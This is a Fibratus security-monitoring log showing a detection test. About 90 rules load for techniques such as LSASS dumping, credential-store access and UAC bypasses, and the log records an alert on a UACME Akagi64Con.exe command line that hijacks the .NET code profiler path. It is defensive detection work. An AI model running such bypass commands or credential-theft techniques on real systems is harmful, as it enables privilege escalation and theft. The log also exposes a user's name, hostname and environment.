C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8028f2addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff7a0bd7fc7 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff7a0ba7d8d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtQueryAttributesFile|0x7ffa18ee799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7ffa18f5f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffa18e0bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0bf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0bad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18ebb98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffa18ebb83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffa18ee910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-12-04T18:36:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T18:36:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T21:17:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T21:17:29+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T21:17:29+01:00 level=info msg=bootstrapping with pid 15512. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T21:17:29+01:00 level=warning msg=unable to download loldrivers.io dataset: Get "https://www.loldrivers.io/api/drivers.json": dial tcp: lookup www.loldrivers.io: no such host source=loldrivers/client.go:127 +time=2025-12-04T21:17:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true enabled=>false content-type=>text/html port=>25 to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false buffer-size=>512 enable-handle=>false enable-threadpool=>false enable-thread=>true enable-image=>true enable-vamap=>true enable-fileio=>true flush-interval=>1s enable-mem=>true enable-audit-api=>true enable-registry=>true enable-net=>true min-buffers=>16 stack-enrichment=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 level=>info max-size=>100 max-age=>0 formatter=>text] + output ......................... [ http=>[ method=>POST enabled=>false serializer=>json tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false endpoints=>[]] amqp=>[ exchange=>fibratus passive=>false exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus vhost=>/ delivery-mode=>transient timeout=>5s durable=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ enabled=>false index-name=>fibratus flush-period=>1s template-name=>fibratus gzip-compression=>false timeout=>5s bulk-workers=>1 trace-log=>false sniff=>false healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck-timeout=>5s]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false skip-mmaps=>false fastscan=>true scan-timeout=>10s skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-files=>false enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T21:17:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T21:17:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T21:18:35+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 12709422 + Pid: 18232 + Tid: 16104 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 21:18:19.9058467 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffd605cc3554a0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037 + + Pid: 18232 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 